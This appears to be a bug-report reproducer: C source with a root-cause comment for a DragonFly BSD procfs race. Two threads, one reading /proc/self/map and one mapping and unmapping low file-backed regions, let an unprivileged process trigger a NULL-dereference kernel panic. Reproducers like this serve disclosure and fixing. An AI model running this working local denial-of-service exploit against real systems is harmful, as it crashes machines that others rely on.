/*
 * DF-3238 -- procfs_domap() map-walk revalidation NULL dereference panic.
 *
 * sys/vfs/procfs/procfs_map.c:236-240:
 *      if (last_timestamp != map->timestamp) {
 *              vm_map_entry_t reentry;
 *              vm_map_lookup_entry(map, e_start, &reentry);
 *              entry = reentry;
 *      }
 * The return value of vm_map_lookup_entry() is ignored.  When the entry
 * just processed (and everything below it) was unmapped while the map lock
 * was dropped at procfs_map.c:143, vm_map_lookup_entry() sets *entry=NULL
 * (sys/vm/vm_map.c:1215-1232: "If there is no prior record, *entry is set
 * to NULL").  The RB_FOREACH increment then evaluates
 * RB_NEXT(vm_map_rb_tree, ..., NULL) -> sys/sys/tree.h:815-817
 * RB_RIGHT(NULL, ...) -> kernel-mode load at small fixed address -> panic.
 *
 * Trigger (unprivileged, single process): thread A loops read() on
 * /proc/self/map while thread B unmaps the *lowest* mappings of the
 * process (a block of MAP_SHARED file mappings at 0x100000, far below the
 * text base, each carrying a vnode object so the per-entry unlock window
 * at procfs_map.c:143-230 is wide -- vn_fullpath() runs inside it).
 *
 * When B's munmap() is granted between A's formatting of one of the low
 * entries and A's re-lock, A revalidates e_start, finds no predecessor
 * (every entry below the text base is gone) and feeds NULL to RB_NEXT().
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <pthread.h>
#include <sys/mman.h>

#define LOWBASE		0x00100000UL	/* below the DFly non-PIE text at 0x400000 */
#define NMAPS		32
#define MAPLEN		0x8000UL	/* 32K per mapping -> block [0x100000,0x200000) */
#define BLOCKLEN	(NMAPS * MAPLEN)
#define PAGE		0x1000UL

static int backing_fd = -1;

static void *
reader_thread(void *arg)
{
	char buf[8192];
	char path[64];
	long iters = 0;
	int fd;

	snprintf(path, sizeof(path), "/proc/%d/map", getpid());
	fd = open(path, O_RDONLY);
	if (fd < 0) {
		perror("reader open");
		return NULL;
	}
	for (;;) {
		lseek(fd, 0, SEEK_SET);
		while (read(fd, buf, sizeof(buf)) > 0)
			;
		iters++;
		if ((iters & 0x3ff) == 0)
			fprintf(stderr, "[r:%ldk] ", iters / 1024);
	}
	return NULL;
}

static void *
churn_thread(void *arg)
{
	void *p;
	unsigned int seed = 23;
	int i;

	for (;;) {
		/* map the low block file-backed; alternate file offsets so
		 * adjacent entries cannot merge (contiguous object offsets
		 * would coalesce into a single vm_map_entry) */
		for (i = 0; i < NMAPS; i++) {
			p = mmap((void *)(LOWBASE + i * MAPLEN), MAPLEN,
				 PROT_READ, MAP_SHARED | MAP_FIXED,
				 backing_fd, (i & 1) ? 0 : PAGE);
			if (p == MAP_FAILED) {
				fprintf(stderr, "churn mmap %d: %s\n",
					i, strerror(errno));
				sleep(1);
				break;
			}
		}
		usleep(rand_r(&seed) % 100);

		/* one big munmap: deletes all NMAPS lowest entries at once,
		 * likely granted while the reader sits in its per-entry
		 * unlocked window on one of them */
		if (munmap((void *)LOWBASE, BLOCKLEN) < 0) {
			/* normal when the block is currently absent */
		}
		usleep(rand_r(&seed) % 100);
	}
	return NULL;
}

int
main(void)
{
	pthread_t ta, tb;
	char tmp[] = "/tmp/df3238b";
	int fd;
	char buf[8192];
	ssize_t n;

	backing_fd = open(tmp, O_RDWR | O_CREAT | O_TRUNC, 0600);
	if (backing_fd < 0) {
		perror("open backing");
		return 1;
	}
	if (ftruncate(backing_fd, MAPLEN) < 0) {
		perror("ftruncate");
		return 1;
	}
	unlink(tmp);

	/* print the first map line so we can see the low block sorts first */
	fd = open("/proc/self/map", O_RDONLY);
	if (fd >= 0) {
		n = read(fd, buf, sizeof(buf) - 1);
		if (n > 0) {
			char *nl;
			buf[n] = 0;
			nl = strchr(buf, '\n');
			if (nl)
				*nl = 0;
			fprintf(stderr, "first map line (no churn yet): %s\n",
				buf);
		}
		close(fd);
	}

	pthread_create(&ta, NULL, reader_thread, NULL);
	pthread_create(&tb, NULL, churn_thread, NULL);
	pthread_join(ta, NULL);
	return 0;
}
